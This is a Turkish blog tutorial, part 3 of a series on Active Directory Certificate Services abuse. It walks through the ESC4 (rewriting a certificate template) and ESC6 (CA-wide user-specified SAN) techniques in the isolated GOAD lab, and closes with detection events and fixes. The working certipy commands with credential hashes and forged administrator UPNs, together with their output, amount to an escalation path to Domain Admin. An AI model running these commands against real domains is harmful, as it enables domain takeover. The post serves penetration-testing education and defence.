Series · 4 partsActive Directory Certificate ServicesPart 3 · You are here
- 1AD CS Bölüm 1: Mimari, Şablon Semantiği ve ESC Taksonomisi
- 2AD CS Bölüm 2: ESC1 İstismarı — RPC Hedefleme, PKINIT Kimlik Doğrulaması ve Orman Ele Geçirme
- 3AD CS Bölüm 3: ESC4 ve ESC6 — Zafiyeti Kendin YaratmakYou are here
- 4AD CS Bölüm 4: Kataloğun Geri Kalanı ve Nasıl Kilitleneceği
Bulmak ile yaratmak arasındaki fark
Bölüm 2, zaten yanlış yapılandırılmış ve kaydolan kişinin kendi subject’ini sağlamasına izin veren ESC1 şablonunu istismar etti. Bu temiz bir kazanımdır, ama yalnızca birisi o şablonu tam olarak öyle bırakmışsa işe yarar. Bu bölüm, şansa bağımlılığı bırakıp savunmasız durumu kendin yarattığın iki yolu anlatıyor:
- ESC4 — bir şablon nesnesi üzerinde
GenericAll(veyaWriteProperty) sahibisin; şablonu bir ESC1’e yeniden yazarsın: Client Authentication ekle,EnrolleeSuppliesSubject’i aç ve kendine kayıt hakkı ver. - ESC6 — CA’nın kendisinde
User Specified SANbayrağı açıktır; bu yüzden herhangi bir Client Authentication şablonu, aksi halde kilitli olsa bile, keyfi bir-upndeğerini kabul eder.
İkisi de “şablon savunmasız değil” durumunu “bana daenerys.targaryen’in sertifikasını ver”e dönüştürür. Fark, birinde şablonu değiştirmen, diğerinde ise CA’nın kendi davranışını kullanmandır. Bu ayrım savunma açısından da belirleyici: ESC4’te şablon izinlerini, ESC6’da ise CA yapılandırmasını düzeltmen gerekir. Yanlış katmana uygulanan bir düzeltme, sorunu çözmez; yalnızca görünmez hale getirir.
ESC4: şablonu yeniden yaz
khal.drogo, essos.local içindeki ESC4 şablonu üzerinde GenericAll sahibidir — GOAD Bölüm 4’te zaten yürüdüğümüz ACL kenarlarından biri. certipy şablonun mevcut yapısını okur ve neyin yanlış olduğunu gösterir: tek EKU Code Signing’dir ve kaydolan kişi subject’i sağlayamaz. GenericAll sahibi olmak, bu iki eksikliği de düzeltebileceğimiz anlamına gelir:
$ certipy-ad template -u [email protected] -hashes 739120ebc4dd940310bc4bb5c9d37021 \
-dc-ip 192.168.56.12 -template ESC4 -save-configuration esc4.bak.json
[*] Saving current configuration to 'esc4.bak.json'Yedek önemlidir: profesyonel bir engagement değiştirdiği her şeyi geri alır, çünkü müşteri ortamı deney tahtası değildir. Ardından -write-default-configuration, certipy’nin yerleşik “bunu bir ESC1 yap” ön ayarını uygular:
$ certipy-ad template -u [email protected] -hashes 739120ebc4dd940310bc4bb5c9d37021 \
-dc-ip 192.168.56.12 -template ESC4 -write-default-configuration -no-save -force
[*] Updating certificate template 'ESC4'
[*] pKIExtendedKeyUsage: ['1.3.6.1.5.5.7.3.2'] # Client Authentication
[*] msPKI-Certificate-Name-Flag: 1 # EnrolleeSuppliesSubject
[*] Successfully updated 'ESC4'İki öznitelik değişti ve şablonun tüm saldırı yüzeyi onlarla birlikte değişti. Şablon artık Client Authentication taşıyor ve kaydolan kişinin subject’i seçmesine izin veriyor — ESC1’in tam olarak iki bileşeni. Bir dakika önce Code Signing olan ESC4 şablonu, şimdi Domain Admin sertifikası üreten bir makineye dönüştü:
$ certipy-ad req -u [email protected] -hashes 739120ebc4dd940310bc4bb5c9d37021 \
-ca ESSOS-CA -template ESC4 -upn [email protected] -target braavos.essos.local -dc-ip 192.168.56.12
[*] Request ID is 4
[*] Successfully requested certificate
[*] Got certificate with UPN '[email protected]'Buradan sonrası Bölüm 2’nin sonudur: certipy auth -pfx ile TGT alınır, ardından DCSync gelir. ESC4’ün dersi şudur: bir şablon ortamın sabit bir gerçeği değil, ACL’i olan bir nesnedir ve üzerindeki GenericAll onun anlamını değiştirmek için yeşil ışıktır. Bu yüzden şablon izinlerini denetlemek, yalnızca şablon ayarlarını okumaktan daha önemlidir. Bir şablon bugün temiz görünse bile, üzerinde yazma hakkı olan bir hesap onu yarın sessizce savunmasız hale getirebilir; izinler kalıcı durumdur, ayarlar ise yalnızca o anki fotoğraftır.
ESC6: CA genelindeki geçersiz kılma
ESC4 bir şablonu düzenler. ESC6’nın hiçbir şey düzenlemesine gerek yoktur, çünkü CA’nın kendisi yanlış yapılandırılmıştır. certipy find bunu tek satırda bildirdi:
User Specified SAN: Enabled # ESC6 / EDITF_ATTRIBUTESUBJECTALTNAME2Bu bayrak, şablonun kendi name-flag ayarı ne derse desin, CA’nın herhangi bir istekte keyfi bir Subject Alternative Name kabul ettiği anlamına gelir. Şablonun kendi kuralı burada devre dışı kalır; karar CA düzeyinde verilir. Bunu kanıtlamanın en temiz yolu, ESC1 olmayan bir şablon kullanmaktır: Client Authentication taşıyan ama kaydolan kişinin subject sağlamasına izin vermeyen ESC9:
$ certipy-ad req -u [email protected] -p fr3edom -ca ESSOS-CA -template ESC9 \
-upn [email protected] -target braavos.essos.local -dc-ip 192.168.56.12
[*] Request ID is 5
[*] Successfully requested certificate
[*] Got certificate with UPN '[email protected]'Sahte UPN’i reddetmesi gereken bir şablon onu kabul etti, çünkü CA düzeyindeki bayrak şablonun kuralını geçersiz kıldı. ESC6’nın tüm tehlikesi budur: şablonları tek tek sıkılaştırıp “tamam” diyemezsin, çünkü CA’daki tek bir bayrak ormandaki her Client Authentication şablonunu sessizce yeniden açar. Yani güvenlik, en zayıf şablon kadar değil, en zayıf CA ayarı kadar güçlüdür. Tek bir yanlış bayrak, tek tek yaptığın tüm şablon sıkılaştırmasını görünmez biçimde geçersiz kılabilir.
Tespit ve çözüm
Tespit: ESC4 gürültülü olandır — şablon düzenlemesi, pKICertificateTemplate nesnesi üzerinde pKIExtendedKeyUsage ve msPKI-Certificate-Name-Flag değerlerini değiştiren bir 5136 olayıdır; EKU’su sessizce Code Signing’den Client Authentication’a dönen bir şablon kırmızı bayraktır. ESC6 ise geride görülecek bir düzenleme bırakmaz; ipucu, UPN’i talep edenle eşleşmeyen bir SAN taşıyan sertifikanın verilmiş olmasıdır. Bu yüzden tespit için yalnızca yapılandırma değil, verilen sertifikaların içeriği de izlenmelidir.
Kontrol: İkisi de tek bir kök nedeni paylaşır: PKI’yı kim değiştirebilir. ESC4’ün yaslanacak bir şeyi kalmasın diye şablon nesnelerinden GenericAll/WriteProperty izinlerini kaldır; ESC6’nın geçersiz kılması olmasın diye her CA’da EDITF_ATTRIBUTESUBJECTALTNAME2 (User Specified SAN) bayrağını temizle. CN=Certificate Templates üzerindeki 5136 olaylarını ve CA bayraklarını sonradan akla gelen bir iş gibi değil, Tier-0 hijyeninin parçası olarak denetle.
Özet
İki teknik, iki farklı ön koşul ve tek bir ortak sonuç. Aşağıdaki tablo, tespit sırasında hangi izi arayacağını ve düzeltmede hangi ayara dokunacağını hızlıca hatırlatmak için:
| Özellik | ESC4 | ESC6 |
|---|---|---|
| Ön koşul | Bir şablonda GenericAll/WriteProperty | CA User Specified SAN bayrağı |
| Hamle | şablonu yeniden yaz → ESC1 | herhangi bir Client Auth şablonunu -upn ile iste |
| Görünürlük | şablonda 5136 | SAN’i eşleşmeyen verilmiş sertifika |
| Düzeltme | şablon yazma ACE’lerini kaldır | EDITF_ATTRIBUTESUBJECTALTNAME2’yi temizle |
Sıradaki Bölüm 4
Bölüm 4, seriyi kataloğun geri kalanıyla kapatıyor — ESC2 (any-purpose EKU), ESC3 (enrollment agent), ESC8 (web-enrollment relay) ve kimlik eşleme ailesi ESC9/ESC11/ESC15/ESC17 — ve hepsini birbirine bağlayan sıkılaştırma özetini veriyor.
Kanıt ve sınırlar
Hem ESC4 (şablonun üzerine yazılması ve geri yüklenmesi) hem de ESC6 (CA düzeyinde EDITF_ATTRIBUTESUBJECTALTNAME2 istismarı) izole GOAD laboratuvarındaki ESSOS-CA (192.168.56.23) ve MEEREEN (192.168.56.12) üzerinde doğrulanmıştır. Değiştirilen ESC4 şablonu, sertifika alındıktan hemen sonra yedeklenen .json yapılandırmasından geri yüklenmiştir; böylece laboratuvar bir sonraki test için temiz kalmıştır.
Referanslar
- Orange Cyberdefense, GOAD: orange-cyberdefense.github.io/GOAD
- The Hacker Recipes, AD CS: thehacker.recipes/ad/movement/adcs
- SpecterOps, Certified Pre-Owned: posts.specterops.io
- MITRE ATT&CK, Steal or Forge Authentication Certificates (T1649): attack.mitre.org/techniques/T1649
Bu teknik not ne kadar güncel?
En son kaynak incelemesi, içerik güncellemesi veya yayın tarihi gösterilmektedir.
Birincil kamu kayıtları kontrol edildi. Ortama özgü davranış, ayrıca yeniden üretilmedikçe iddianın dışındadır.